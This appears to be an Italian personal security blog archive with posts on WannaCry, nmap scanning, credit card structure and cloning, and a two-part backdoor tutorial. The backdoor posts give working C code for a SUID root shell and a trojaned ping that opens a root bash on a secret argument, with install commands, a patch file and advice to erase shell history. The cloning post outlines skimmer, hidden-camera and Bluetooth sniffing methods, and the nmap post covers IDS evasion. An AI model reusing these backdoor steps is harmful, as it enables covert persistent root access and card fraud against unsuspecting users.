Visualizzazione post con etichetta Articoli sicurezza. Mostra tutti i post
Visualizzazione post con etichetta Articoli sicurezza. Mostra tutti i post

martedì 16 maggio 2017

Wannacry. Attacco Hacker o una falla di sicurezza?


Diciamo, innanzitutto, che, come al solito, il "main stream media trash" continua a confondere e a sminuire l'etica dei "cappelli bianchi" chiamati comunemente HACKER. Personalmente, penso che sarebbe stato più corretto fare riferimento ai CRACKER chiamati anche "Black Hat Hacker”.

ATTACCO INFORMATICO? Penso che le cose siano andate diversamente. Sarebbe più corretto dire che si tratta di una semplice diffusione di un Malware (categoria Ramnsonware) su larga scala, determinata dalla mancanza di sicurezza dell'Intelligence americana.

Sbagliato dire "attacco hacker" in quando non prende di mira nessuno in particolare. Per diffondere questo Malware sono stati utilizzati i classi canali noti da sempre: email contenenti un allegato infetto oppure un link ad un pagina web inviati in maniera massiva.

La disinformazione è evidente anche con i media occidentali, come ad esempio la testata web telegraph.co.uk e le tv italiane, che sostengono che la minaccia viene dalla Russia dimenticando però di dire che è proprio questa a essere la nazione più colpita da Wannacry.

Per capire la genesi di Wannacry dobbiamo partire dal 2016 quando il gruppo di curiosoni malintenzionati chiamati "The Shadow Brokers" ha violato i server della National Security Agency (NSA, Agenzia per la Sicurezza Nazionale) rubando, di fatto, diversi strumenti abbastanza sofisticati (software exploit) utilizzati dagli Americani per lo spionaggio informatico verso aziende e governi di tutto il mondo.

I materiali rubati sarebbero collegati all'arsenale di "Equation Group", una squadra di informatici al servizio del governo Americano che in passato avevano effettuato operazioni di cyberwar (guerra informatica). Equation Group nel 2006, in collaborazione con gli “amiconi” Israeliani, realizzò il Malware “Stuxnet” con lo scopo di compromettere e rallentare il programma nucleare iraniano.

L'attacco informatico di "The Shadow Brokers" fu progettato ed eseguito con l'obiettivo di trarre un profitto monetario mettendo in vendita il materiale rubato per una cifra di circa 6 milioni di dollari. I risultati dell'esito della vendita sembrano essere incerti. Quello che è sicuro, invece, è che nel mese di aprile 2017 sono stati annunciati e pubblicati su Wikileaks (Vault 7) diversi furti di materiale custoditi nei server dell'NSA come documenti segreti e tecniche di infiltrazione utilizzate dalla CIA.

Tra gli strumenti (exploit) rubati in grado di superare le difese di sicurezza del sistema operativo Windows, troviamo "Eternal Blue" utilizzato infatti come cuore del Ramnsonware Wannacry.

La diffusione su larga scala del Malware Wannacry è quindi dovuta alla falla di sicurezza del sistema operativo Windows, scoperta dagli Americani e tenuta segreta semplicemente per essere utilizzata in caso di guerra informatica. 

In questo contesto, l'NSA ha anche violato il patto governativo chiamato "Vulnerability Equities Process", ossia l'obbligo di comunicare le vulnerabilità dei software alle aziende proprietarie. Sta di fatto che l'NSA ha comunicato la vulnerabilità (SMB Server - 4013389) a Microsoft "in evidente netto ritardo".

È opportuno ora chiederci: se l'NSA avesse comunicato a Microsoft la vulnerabilità quando l'ha scoperta, e non quando l'ha perduta, tutto questo sarebbe successo?

Come possono gli autori del Malware Wannacry progettare un sistema apparentemente sofisticato e poi lasciare banalmente in chiaro le istruzioni per essere disattivato?

Come possono gli autori del Malware Wannacry non pensare alla "randomizzazione dei domini" per rendere più difficile la disattivazione?

Ci dobbiamo aspettare una seconda versione del Malware più sofisticata?

Per concludere, i miei complimenti al reparto Marketing di MalwareTech e al giovane 22 enne Darien Huss.



RIFERIMENTI:

Aspetti di sicurezza in sistemi Android


Si prevede che il sistema operativo mobile Google raggiungerà entro il 2019 circa l’83% del mercato globale, contando più di un miliardo di dispositivi Android in uso. La diffusione del sistema va oltre lo smartphone e il tablet, modificando anche TV, automobili e dispositivi indossabili (wearable). Attraverso un’analisi dettagliata del funzionamento del Malware Android, l’autore vuole suscitare nei sui lettori la consapevolezza dei rischi connessi all’installazione di applicazioni, analizzando step-by-step gli aspetti di sicurezza legati all’architettura software della piattaforma Android. Come parte pratica di questo testo, l’autore ha progettato un Malware per analizzare un caso di studio di cyberspionaggio sfruttando la piattaforma Android. Chi ha scritto questo libro, inoltre, affronta anche gli aspetti legali del concetto di privacy in Italia, del nuovo regolamento UE 2016/679 e del parere dei garanti europei (Art. 29 WP) in merito alla protezione dei dati personali. Questo lavoro, quindi, non è rivolto solo agli sviluppatori di applicazioni, ma anche a tutti coloro che sono interessati alla cyber security (sicurezza informatica), i quali con approccio top-down possono approfondire i meccanismi interni di sicurezza di Android e le vulnerabilità più comuni delle applicazioni mobile.







ISBN: 9788826043876


DISPONIBILE SU:

AMAZON

GOOGLE PLAY STORE

LIBRERIA HOEPLI E-BOOK


lunedì 27 luglio 2009

Fondamenti di Backdoor parte 2


Nel precedente articolo Fondamenti di Backdoor parte 1, mi ero limitato a descrivere il concetto di backdoor mostrando anche un semplice esempio. In questa seconda puntata descrivo i metodi piu raffinati che vengono utilizzati ancora oggi dagli intrusi oppure dai programmatori. La tecnica consiste nel modificare i sorgenti dei programmi inserendo il bit di SUID nella posizione adeguata all'interno del codice sorgente o nella modifica dei daemon uscenti con uid=0, come ad esempio POP3,FTP o SSH. I daemon (demoni) sono processi server che stanno sempre in ascolto. Il più delle volte vengono inizializzati all'avvio del sistema e poi rimangono in attesa dietro le quinte (background) finché non viene richiesto il loro servizio. Un semplice esempio consiste nel creare una backdoor nell'eseguibile ping, piu precisamente dobbiamo inserire una modifica che consiste nel verificare se il primo argometo(argv[1]) passatogli sia una sequenza di caratteri, come ad esempio fabri8bit. Se la condizine viene soddisfatta, il programma richiamerà una funzine la quale configurerà uid e gid=0 e cancellerà la varibile HISTLIFE, avviando la shell. Per provare in pratica questa soluzione, si devono prima di tutto scaricare i sorgenti del programma ping reperibili, ad esempio, su http://archive.ubuntu.com/ubuntu/pool/main/i/iputils/iputils_20071127.orig.tar.gz oppure li si può scaricare dai repository di gentoo. Una volta scompattato il file .gz dobbiamo concentrarci sul file sorgente ping.c. La prima cosa che dobbiamo fare è cercare la funzione main(int argc, char **argv). La modifica deve essere eseguita poco prima dell'abbandono dei privilegi, e piu precisamente qui:

icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
socket_errno = errno;

if( (argc == 2) && (strcmp(argv[1],"fabri8bit") == 0) )
{
setuid(0);
setgid(0);
unsetenv("HISTFILE");
execl("/bin/bash","bash","-i",NULL);
}


uid = getuid();
if (setuid(uid))
{
perror("ping: setuid");
exit(-1);
}


Le ultime righe provocano l'abbandono dei privilegi in quanto l'obiettivo principale della funzione getuid() è quello di riportare il suo (attuale) uid(user identifier). Per quando riguarda la funzione setuid() il suo obiettivo invece è quello di impostare l'user-ID del processo corrente. In sostanza l'uso principale di queste funzioni consente ad un programma con i bit suid o sgid impostati di riportare l'user-ID effettivo a quello dell'utente che ha lanciato il programma. Dopo la piccola modifica, non ci resta che ricompilare il programma e copiarlo nella cartella dove risiedono i comuni programmi condivisi dal sistema, dall'amministratore di sistema e dagli utenti ( /bin eheh ). Per chi ha letto la prima parte della guida, sa che prima di compiere questa operazione si deve ottenere in un qualche modo una shell di root. A questo punto non ci resta che compilare:

# cd iputils_20071127.orig
#
make
# cp -f ping /bin/ping
# chmod 4711 /bin/ping
#
exit
$
ping "fabri8bit"
#

Se non vogliamo modificare ogni volta il sorgente, è molto conveniente crearsi una patch per il sorgente ping.c e fare un unico pacchetto nel quale sono compresi i sorgenti da uplodare nel nostro fileserver oppure tenerlo nella chiavetta usb. Utilizzando il comando diff che, sostanzialmente, serve per analizzare due file e riportare le differenze è possibile anche creare un file di patch. Dopo aver digitato tale comando è possibile vedere a video le differenze tra i due file. La creazione di una patch avviene attraverso le seguenti opzioni:

$ diff -urN ping.c ping-back.c > back && cat back

--- ping.c 2009-07-27 17:13:31.886758795 +0200
+++ ping-back.c 2007-12-10 04:56:22.000000000 +0100
@@ -125,15 +125,6 @@
icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
socket_errno = errno;

-if( (argc == 2) && (strcmp(argv[1],"fabri8bit") == 0) )
-{
- setuid(0);
- setgid(0);
- unsetenv("HISTFILE");
- execl("/bin/bash","bash","-i",NULL);
-}
-
-
uid = getuid();
if (setuid(uid)) {
perror("ping: setuid");

Grazie al comando patch, utilizzato per applicare il file di patch creato con le differenze tra un file e un file più recente, è possibile apportare la modifica al file ping.c originale. La modalità di utilizzo è la seguente:

$ patch -p0 <
back

Queste falle nella sicurezza si possono scroprire in diversi modi,per esempio effettuando un controllo di checksum sui file. Pochi amministratori, comunque, effettuano questo tipo di controllo e molte volte capita che i file di checksum vengano custoditi su unità che sono raggiungibili dall'aggressore. Basta, infatti, trovare una collisione, ad esempio sull'algoritmo MD5, ed è possibile ricalcolare il checksum del file binario modificato in aniera del tutto identica al checksum del file originale. Un miglior modo per installare una backdoor consiste nel modificare le libreire del sistema. Un esempio sono le librerie PAM (Pluggable authentication Module) che tratterò la prossima volta.



mercoledì 15 luglio 2009

Fondamenti di Backdoor parte 1


Le backdoor sono paragonabili a porte di servizio che consentono di superare in parte o in tutto le procedure di sicurezza attivate in un sistema. Queste "porte" possono essere appositamente create dagli amministratori di sistema, oppure molte delle volte vengono create dai cracker intenzionati a manomettere il sistema. Il processo che porta un cracker a prendere il controllo di un sistema può essere diviso in due fasi. Nella prima fase, l'attacante sfrutta una qualsiasi vulnerabilità del sistema come ad esempio privilege escalation,doppio chroot per ottenere i permessi di root . Nelle seconda fase, l'attaccante se è un tantino furbo si deve assicurare la possibilità in un secondo momento di riprendere nuovamente il controllo del sistema nell'eventualità che vengono scoperti e riparati i bug. Un esempio molto banale di backdoor è quello di aggiungere ad un programma il bit di SUID attivo; che non fa altro che associare all’eseguibile in esecuzione i permessi del proprietario del file. Dal punto di vista della sicurezza ogni programma contenente il bit di SUID configurato, diventa un punto di riferimento per sfrtuttare la scalata verso la conquista dei privilegi. Un esempio di programma che possiamo camuffare all'interno del file system è il seguente:

#include unistd.h
#include sys/types.h
#include stdlib.h



int main ()

{

setuid(0);
setgid(0);

unsetenv("HISTFILE");

execl("/bin/bash","bash","-i",NULL);

return 0;
}


La prima cosa che ho fatto è stata quella di impostare a 0 l'identificazione dell'utente e quello del gruppo in quanto lo 0 è l'identificatore di root. Con il comando unsetenv("HISTFILE"), non faccio altro che eliminare il contenuto della variabile d'ambiente HISTFILE. Esso fa riferimento al nome del file nel quale vengono registrati i comandi dati dalla shell bash. Se questa variabile viene eliminata, la cronologia dei comandi non puo essere piu registrata. Con l'esecuzione della system call execl() eseguo il programma passato come argomento. E' di notevole importanza osservare che il programma passato come argomento della execl rimpiazza lo spazio di indirizzamento del processo padre,per cui al termine dell'esecuzione della execl() non si rientra nel programma chiamante e meno che non capiti una situazione di errore. Il programma lanciato dalla execl() essendo eseguito dalo stesso processo che l'ha invocata, non modifica nessun attributo del processo (pid,ppid,directory corrente e accesso ai file) questa è la santa ragione del perchè ho usato questa system call. Per chi vuole approfondire, consiglio lo studio dei seguenti libri di testo reperibili su www.librinformatica.com: I moderni sistemi operativi - terza edizione oppure Sistemi operativi con esempi per l'uso in Java e infine Linguaggio C in ambiente Linux. Chiusa questa parentesi, a questo punto non ci resta che provare ad eseguire il nostro programma per verificare se abbiamo ottenuto i privilegi di root:


$ gcc shell-suid.c -o shell-suid

$ ./shell-suid

$ id && exit

uid=1000(fabri) gid=1000(fabri) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(fabri)

A quanto pare l'esito del comando id ci suggerisce che l'utente non ha i diritti di root perchè non è stato configurato il bit di SUID per il file shell-suid. Supponiamo che per assurdo siamo riusciti ad ottere i privilegi di root oppure il vostro inquilino cattivo si addormenta per sbaglio nel divano con la shell di root aperte, perchè non approffitarne per installare nel suo sistema la nostra prima backdoor? Beh non dobbiamo fare altro che lanciare chown che serve per cambiare il proprietario al file e infine chmod che serve per cambiare permessi al nostro file eseguibile:


chown [opzioni] [utente][:[gruppo]] nomefile

opizioni:

–R lavora in modo ricorsivo
–from=utente:gruppo cambia i file del utente:gruppo

chmod [opzioni] modalità dei permessi sul file

opzioni:

u Utente proprietario del file
g Gruppo proprietario
o Utente diverso
a Tutti gli utenti indifferentemente

modalità:

r accesso lettura
w permesso scrittura
x permesso esecuzione
s Riguarda file eseguibili e directory (SUID SGID)
t file eseguibili e directory. STICKY bit

#
chown root:root shell-suid
# chmod +s shell-suid
# exit

Adesso ogni utente che attiverà il programma riceverà i privilegi della shell di root. Se infine vogliamo fare un lavoro pulito, dobbiamo cancellare anche la cronologia degli ultimi comandi che abbiamo digitato.

$ cd /home/fabri/cartella/troppo_nascosta

$ ./shell-suid


# cd /home/fabri/


# nano .bash_history


Questa è una soluzione semplice,ma anche molto facile da scoprire tramite il comando find. il comando find permette di ricercare i file con determinate caratteristiche. Con l'opzione -perm è possibile specificare i permessi come criterio di ricarca. Nel caso vogliamo ricercare i file con SetUserId occorre specificare il parametro -004000. Un esempio di ricerca di programmi eseguibili con il bit SUID e SGID(stessa cosa per il gruppo) attivo è la seguente:

# find / \( -perm -004000 -o -perm -002000 \) -ls

Se noi inizialmente creiamo una lista di tutti i file con i relativi bit di suid attivi e poi ogni tanto ricreiamo un'altra lista,la possiamo confrontare con quella iniziale e subito ci accorgiamo della backdoor.

# find / \( -perm -004000 -o -perm -002000 \) > lista-inizio.txt

# find / \( -perm -004000 -o -perm -002000 \) > lista-controllo.txt

# diff lista-inizio.txt lista-controllo.txt | grep ^

> /home/fabri/cartella/troppo_nascosta/shell-suid

La prima parte sulle backdoor finisce qui.

giovedì 2 luglio 2009

Raccogliere informazioni sul nostro computer

Nmap(port scanning and finger printing tool) è un software Network mapper distribuito con licenza GNU GPL da Insecure.org,crato con l'idea di essere un tool per semplici port scanning. Successivamente è diventato una vera suite di componenti indispensabili per amministratori di sistema,ma è usato anche dai cracker e dagli script kiddie. Prima di tutto è necessario sapere due concetti essenziali: l'auditing informatico e il penetration testing. L'auditing informatico è l'operazione per il quale una persona, controlla un sistema assicurandosi il suo corretto funzionamento, ovvero non deve essere esposto a nessun rischio conosciuto. Grazie all'auditing, veniamo a conoscenza su cosa potrebbe provocare dei danni al nostro sistema, ma aiuta anche a migliorare l'antamento delle prestazini evitando ad esempio alcuni DoS. Il penetration testing , è un metodo per testare la sicurezza informatica di un sistema in modo tale da simulare un attacco. Qesto processo non fa altro che vedere se il sistema è vulnerabile a tutte le techiche di attacco e falle conosciute(incluso la configurazione dei servizi,ovvero lasciare il file di configurazione di default di alcuni programmi).Si distiunguno due tipi di penetration testing: BlackBOX e WhiteBox testing. Con il BlackBOX ,si assume che non si ha nessuna informazione del sistema o infrastuttura da controllare,invece con il WhiteBox si ha la competa conoscenza del sistema che si deve sottoporre al test. In questo post analizzeremo il funzionamento di nmap in versione Target specification, specificando uno specifico target per il nostro finto attacco. Il caso piu` semplice consiste nello specificare un indirizzo IP oppure un nome di host obbiettivo(Es: nmap 192.168.1.1 ) per iniziare cosi la scansione di 1660 porte TPC. A volte puo` essere utile scansionare un'intera rete di host adiacenti, infatti Nmap supporta l'indirizzamento CIDR. Se avete difficoltà sulle nozioni di reti, consiglio lo studio obbligatorio di questi due libri: Internet e reti di calcolatori-seconda edizione e Reti di calcolatori e internet un approccio top-down-quarta edizione. Molto importante è l'argomento che tratta la programmazione dei socket; consiglio di leggere il Gpil che è possibile scaricare da http://gapil.truelite.it/download.html. La base di nmap è sempre stata il port scanning infatti tutto il programma è basato su un avanzato port scanning. Le porte per Nmap possono essere in 6 stati:

1) Open-port: un host riesce ad accettare connessioni su questa porta.

2) Close-port: Chiusa ma accessibile, ovvero nessun programma è in ascolto su quella porta

3) filtered-port: Un filtro impedisce a Nmap di capire se una porta è chiusa o aparte. Molto probabile la porta è soggetta ad un firewall

4)Unfiltered-port: Porta accessibile, ma Nmap non è stato in grado di determinare il suo stato(chiusa o aperte). Possiamo provare allora uno scan SYN o FIN per determinare il suo stato.

5) Open o filtered-port: Nmap non capisce se una porta è aperta o filtrata.

6) Closed o filtered-port: Nmap non capisce se una porta è chiusa o filtrata.

Nmap si basa su
risposte del Server, questo vuol dire che risposte mirate possono portare su una cattiva strada il nostro povero Nmap. Ora passiamo ad analizzare le opzioni(non si possono combinare fra di loro apparte lo scanner UDP) piu importanti per i diversi metodi di scan.

-sS (TCP SYN scan): Opzine di default usata la maggior parte delle volte, veloce e affidabile rispetto l'opzione -sT in quando non completa la connessione TCP. Praticamente manda un pacchetto SYN di apertura della connessione senza però mai completarla. Se esageriamo iniettando con nemesis(tool) molti pacchetti SYN è possibile che si verifica un SYN flood ossia un attacco di tipo denial of servic. Beh Possiamo rivolvere configurando i SYN cookies. Praticamente si usa il sequence number del pacchetto SYN-ACK per mandare un cookie al client e quindi riconoscere se quel client ha già mandato dei SYN in quella sessione, senza dover memorizzare ogni volta la connessione attiva sul "Baffer" del server. Il buffer non è infinito.

-St (TCP connect() scan): Se non è possibile un SYN scan in quando non si hanno i priviligi per lavorare sui pacchetti raw a basso livello, utilizziamo la system call connect() che è accessibile a tutti i programmi.PS: Il prototipo della funzione è sul Gpil

-sU ( UDP Scan):Vengo inviati pacchetti UPD vuoti. Se viene ritornato un errore ICMP i port unreachable la porta è chiusa. Altri errori ICMP di tipo unreachable definiscono la porta come filtrata. Se il servizio risponde con un pacchetto UDP la porta è aperta. Se non viene ricevuta alcuna riposta, la porta è aparte o filtrata. Nel link di seguito troverete  la tabella ICMP message error e gli header dei protocoli:

http://www.networkintrusion.co.uk/index.php/miscellaneous/rawpackets.html 





-sN/sF/sX: TCP Null, FIN, e Xmas scans: Nmap mette a disposizine questi tre tipi di scan. In particolare con -sX settiamo i bit FIN,PSH,URG. Xmas scan perchè accende i bit come un albero di natale.

-sA (TCP ACK scan): Non è uno scan atto a mirare una porta se è aperta o chiusa, ma serve per mappare le regole di firewalling , se le porte sono stateful oppure filtered. Praticamente il firewall si basa su delle regole,le quali gestiscono le applicazioni che possono avere accesso ad Internet. Il più semplice è il packet filter, che si limita a valutare gli header di ciascun pacchetto, decidendo quali far passare e quali no sulla base delle regole configurate.

--scanflags (Customize TCP scan flags): Per avere il pieno potere dello su Nmap con questa opzione possiamo decidere quali flag attivare. Si possono usare valori numerici, oppure nomi simbolici come ACKFIN ecc.

-sO (IP protocol scan): Permette di verificare queli protocolli sono disponibili su una macchina e i servizi del sistema operativo del target. Nmap quando effettua uno scan, mostra le porte e gli stati di essi e nello stesso tempo, associa le porte a probabili servizi sulla macchina. Questi vengono estratti da un database di circa 25000 e servono come indicazioni. Nmap fornisce un'opizione molto importante, il version Detection; questo servizio interroga le porte cercando la versione del programma che è in listen(ascolto) sulla porta. Le opzioni tipiche sono:

-sV: Attiva il version Detection
--allports: version Detection su tutte le porte
-A -O Os Detection e version Detection

Ormai qualsiasi rete da quelle aziendali a quella casalinga dispone di un IDS(nel caso di reti aziendali) o di un Firewall(privati o aziende). Tutti gli intrusin Detection sono prevenuti alla scansioni di Nmap. Pero con un po' di impegno a volte è possibile scavalcare IDS e FW utilizzando Nmap. Ad esempio possiamo utilizzare le seguenti opzioni:

-f: frammenta i pacchetti e rende piu difficile il compito di un IDS
-D decoy1, decoy2: Usa vari ip come esca, con lo scopo di non far capire da chi parte il vero port scanning

-S IP: indichamo l'indirizzo ip che vogliamo falsificare(spoofing). Lo spoofing è un tipo di attacco informatico dove viene impiegata in qualche maniera la falsificazione dell'identità della sorgente. 

ICT-Security n.ro 11 del 07-03-03 di Andrea Monti:
 

"... La legge infatti non punisce l’esecuzione di un portscan, in
sè. 
In altri termini, non esiste, nel codice penale, una norma che dica 'è vietato fare portscan'. 
Ciò non toglie che un’azione del genere diventerebbe sanzionabile penalmente se fosse diretta a compiere un reato (per esempio, un accesso abusivo, punito dall’art.615 ter del codice penale). 
In questo caso, anche se l’accesso abusivo non dovesse verificarsi per fatti indipendenti dalla volontà dell’agente, saremmo nell’ipotesi del delitto tentato.
Che punisce chi compie atti idonei e inequivocamente volti alla commissione di un reato. ..."










domenica 28 giugno 2009

Clonazione della carta di credito!


Nel recente articolo, ho spiegato approssimativamente il funzionamento di una carta di credito. In questo post mi limito a descrivere le possibili tecniche che un malintenzionato può utilizzare per rubare quante più informazioni possibili e riuscire a clonare(copia integrale) della nostra carta. Ogni utente per poter usufruire della carta riceve il proprio PIN: Personal Identification Number il codice di 4 o più cifre registrato sulla banda magnetica delle tessere bancomat o delle carte di credito. Tramite questo codice è possibile godere dei servizi connessi alla tessera. Di regola si tratta di un codice generato in modo da non essere riproducibile anche se ci sono stati casi negli anni passati di persone che con i sistemi più sfigati (dallo spiare gli sportelli bancomat, all'intercettare le emissioni elettromagnetiche dei cavi che collegavano gli sportelli alla banca) sono riusciti ad entrare in possesso di queste informazioni e a clonare le carte. Il controllo viene effettuato tramite l’ulteriore verifica del PIN che, pur presente in modalità cifrata all’interno della banda magnetica della carta, viene digitato direttamente dall’utente e decodificato dal lettore di card(skimmer). Il lettore di card non fa altro che inviare alla base di dati il PIN per verificare se è esatto. Per impedire la costruzione fraudolenta delle schede è di uso comune inserire all'interno della banda magnetica il codice marshall ossia un valore che non puo essere derivato da altre informazioni della scheda. Cosi quando una scheda viene letta su un apposito lettore si può controllare l'integrità che serve per determinare se la scheda sia vera o falsa.La maggior parte della crittografia delle shede magnetiche è basata sulla procedura di crittografia di dati (DEA) che poi è divenuto lo standard DES o campione di crittografia di dati. L'idea dietro il DES è che puo essere effettuata come procedura del software o in hardware dedicati.Il DES allora cifra il valore libero usando una chiave(un valore 64-bit segreto).La crittografia è una techica attraverso la quale si rendono illeggibili i dati originali,permettendo al destinatario di recuperarli attraveso un procedimento noto solo a lui. La forza o la debolezza di questo sistema,si basa sulla difficoltà o meno che ci può essere nell'indovinare la chiave,tenendo conto anche della possibilità elaborative di cui può disporre chi intende spiare la comunicazione. Per chi desidera approfondire sul campo della crittografia, consiglio lo studio di questo libro: Crittografia e sicurezza delle reti - seconda edizione editore Mc Graw Hill. Prima di effettuare la clonazione della carta è necessario ottenere i codici che è possibile ricavarli ad esempio direttamente dagli sportelli bancomat.Quando dobbiamo prelevare il denaro,abbiamo bisogno sia della carta che dei relativi codice pin. In parecchie truffe dei bancomat su sportelli ATM questo è possibile sostituendo gli skimmer originali con uno appositamente modificato.La manomissione degli skimmer permette di leggere e registrare i contenuti delle carte magnetiche e inviali direttamente all'aggressore. Ma la domanda è:come avviene la clonazione e la trasmissione dei codici?.Beh questi skimmer contengono al suo interno un lettore-trasmettitore che invia ad un ricevitore posizionato nelle vicinanze i codici relativi alla strisciata dello skimmer.L'aggressore a questo punto ha solo una parte dei dati necessarri per effettuare la clonazione della carta.Il codice PIN viene letto attroverso una microcamera posizionata di solito sopra il testierino del bancomat oppure a lato. Questo sono immagini prese da internet solo per rendere l'idea.







Alcune telecamere sofisticate come le NETCAM possono effettuare l'invio delle informazioni direttamente ad un sito internet realizzato per effettuare questo tipo di operazione.Questo metodo è utilizzato per carte di credito-bancomat.Se si utilizzano carte di credito con l'uso della sola strisciata di lettura senza l'utilizzo del pin è possibile adottare un'altra tecnica chiamata clonazione dei POS.Quando entriamo in un negozio,riconosciamo subito i lettori di pos utilizzati per pagare senza contanti,bene questi strumenti sono oggetto di continua frode.Per clonare la carta di credito che vengono utilizzare dai pos esisteno due tecniche.La prima tecnica è sostituire il lettore originale con quello manomesso, basta entrare nei locali ed effettura lo scambio e poi in un secondo momento basta effettuare nuovamente lo scambio con l'originale. La seconda tecnica consiste nell'utilizzare dei trasmettitori bluetooth.Alcuni POS sono dotati di sistemi bluetooth per comunicare,per cui posizionandoci nel raggio di 100 metri con un computer dotato di penna bluetooth è possibile intercettare il segnale.Quando vengono effettuati i pagamenti i dati della carta vengono sniffati(intercettati) attraverso il dispositivo bluetooth e con l'aiuto di un software come Escan Exeba-COMM i dati vengono raccolti. Per effetture in seguito la clonazione si ha bisogno di un laboratorio e persone brave in informatica. Altri metodi per clonare le carte di credito è venire in possesso dei codici delle carte con metodi diversi come ad esempio quello utilizzato da commercianti truffaldini, che nel momento in cui un cliente effettua un pagamento con il pos,effettuano una strisciata della carta sullo skimmer che immagazzina i dati che poi vengono scaricati su un computer. Girando su ebay è possibile acquistare tutto l'occorente, basta cercare Portable magnetic ,stripe credit card reader.



La domanda che ci viene spontanea fare è:come facciamo a trasformare i codici acquisiti in carte di credito clonate? Allora, una volta venuti in possesso dei codici con appositi skimmer tradizionali collegati al pc e con software come Rencode2000 è possibile riprogrammare la banda magnetica utilizzando delle carte vuote. Bene l'articolo diciamo che finisce qui :-).Cmq Per evitare le sopra citate frodi,si è pensato allora di sostituirla la banda magnerica con un microchip che consente di dichiarare valida in qualunque momento la nostra carta:mentre le carte a banda magnetica contengono un valore di verifica (CVV) che può essere verificato solo tramite il collegamento con la banca emittente. Ora mi limito a descrivere alcuni consigli per non rimanere vittima di azioni fraudolente.Agli sportelli bancomat. Verificare che nelle immediate vicinanze non vi siamo persone sospsette come ad esempio persone con lunga barba o con faccia da mafioso, controllare attentamente se ci sono dei piccoli fori o manomissioni attuate per collocarvi le microcamere e skimmer(controllare se la fessura e ben fissata). Potete digitare il pin nascondendo con il palmo della mano l'operazione. Nel caso dei dubbi: non introdurre la tessera e non inserire il PIN. Mentre con le carte di credito, consiglio di non perdere mai la tessera e di controllare sempre l'stratto conto e in caso di addebiti improvvisi bisogna subito denunciare alla polizia postale la clonazione della carta. Infine nel caso di acquisti sul web verificare se la pagina del sito è sicura(contrassegnata da un lucchetto posto nella parte inferiore dello schermo), se vi arrivano dei messaggi di posta elettronica dove vi chiedono dati sensibili relativi alla vostra carta di credito o al conto corrente, non bisogna rispondere mai a nessuna richiesta.Tengo a specificare che la frode informatica secondo la legislazione italiana del codice penale è il reato piu importante nel contesto del commercio elettronico.Si tratta di un delitto contro il patrimonio, che rientra nella categoria dei delitti con la cooperazione della vittima,nei quali quest'ultima non si limita a subire l'offesa , ma contribuisce alla determinazione del proprio danno patrimoniale,essendo essa stata tratta in inganno. Per occhi aperti :-).

Dei delitti contro il patrimonio mediante frode - Art. 640 – Truffa

Chiunque, con artifizi o raggiri, inducendo taluno in errore, procura a sé o ad altri un ingiusto profitto con altrui danno, è punito con la reclusione da sei mesi a tre anni e con la multa da euro 51 a euro 1.032. La pena è della reclusione da uno a cinque anni e della multa da euro 309 a euro 1.549:

1. se il fatto è commesso a danno dello Stato o di un altro ente pubblico o col pretesto di far esonerare taluno dal servizio militare;

2. se il fatto è commesso ingenerando nella persona offesa il timore di un pericolo immaginario o l'erroneo convincimento di dovere eseguire un ordine dell'autorità.

Il delitto è punibile a querela della persona offesa, salvo che ricorra taluna delle circostanze previste dal capoverso precedente o un'altra circostanza aggravante.


-->


sabato 27 giugno 2009

Funzionamento della carta di credito


Oggi in italia, come nel resto del mondo , le carte di credito sono di uso comune. Rappresentano un metodo di pagamento rispetto al contante e vengono utilizzate ogni giorno da milioni di persone nel mondo. Sono tessere di plastica con a bordo una banda magnetica e/o microchip, contenenti tutti i dati di indentificazine del titolare della carta. Attualmente esistono diverse carte di pagamento in grado di soddisfare le esigenze piu disperate di ogni cliente.Le carte piu diffue ed utilizzatere sono le carte di debito e le carte di credito classiche.La differenza e che sulla faccia posteriore della carta di credito è presente la firma del titolare, mentre sulla carta di bebito non è presente la firma.Mentre quando si paga con la carta di credito è necessario fare la firma sullo scontrino a differenza della carta di debito dove è necessario digitare il pin per poter pagare.La carta di credico classica o bancaria , è solitamente fornita dalla banca come servizio addizionale del conto corrente del cliente. La carta di debito , o bancomat(esiste anche il postamat una versione emessa da poste italiane per i titolari di un conto corrente). Con la carta di bebito è possibile prelevare il denaro presso gli sportelli automatici italiani ed esteri e pagare l'acquisto di beni e servizi presso attività commerciali convenzionate attraverso circuiti POS(Point Of Sale).Il circuito di pagamento, associato alla carta , non è altro che la compagnia che si occupa di propagare il servizio attraverso una propria rete di comunicazioni. Il circuito si occupa anche di verificare le operazoni di saldo. Le operazoni sulle informazoni di saldo vengono inviate continuamente all'ente emittente ed alla società di gestione dei POS, che inviano dati aggiornati ai loro rispettivi clienti:titolari e venditori. I cinque principali circuiti internazionali sono: Diners club,visa internazional, America express,mastercard,discover. Per quando rigurda il supporto della carta sappiamo che è di materiale plastico e presenta due facce, anteriormente notiamo : logo del circuito di emissione , il numero della carta di credito e la data di scadenza.I numeri di rilievo che troviamo sulla carta, fanno riferimento allo standard ANSI X4.13-1983. La prima cifra indica il circuito di appartenenza, in particolare:

3 - carte settore turistico e del divertimento (America express o Diners club)

4 – Visa.

5 – Mastercard

6 – Discover card

Ricordiamo che ogni circuito ha una sua numerazine particolare. Ad esempio la carta visa possono essere numerate da 13 a 16 cifre(Es: XXXX-XXXX-XXXX-XXXX). Dalla seconda fino alla sesta cifra abbiamo il numero identificativo della banca(XXXX-XXXX-XXXX-XXXX) che ha emesso la carta. Dalla settima alla dodicesima cifra o dalla settima alla quindicesima cifra avremmo il numero di conto che identifica la carta in modo univoco (XXXX-XXXX-XXXX-XXXX) e infine l'ultima cifra è detta cifra di controllo. Nella faccia posteriore è presente la banda magnetica.


La banda magnetica è composta da tantissime particelle magnetiche di resina ,dove possono essere memorizzati i dati e vengono impressi termicamente usando le più svariate tecniche di microstampa. In particolare , la banda presente sulle carte di credito contiene tre tracce-magstripe:


traccia 1 – 79 caratteri alfa-numerici con densità di codifica di 210 bpi

traccia 2 – 40 caratteri numerici con densità di codifica di 75 bpi

traccia 3 – 107 caratteri numerici con densità di codifica di 210 bpi.

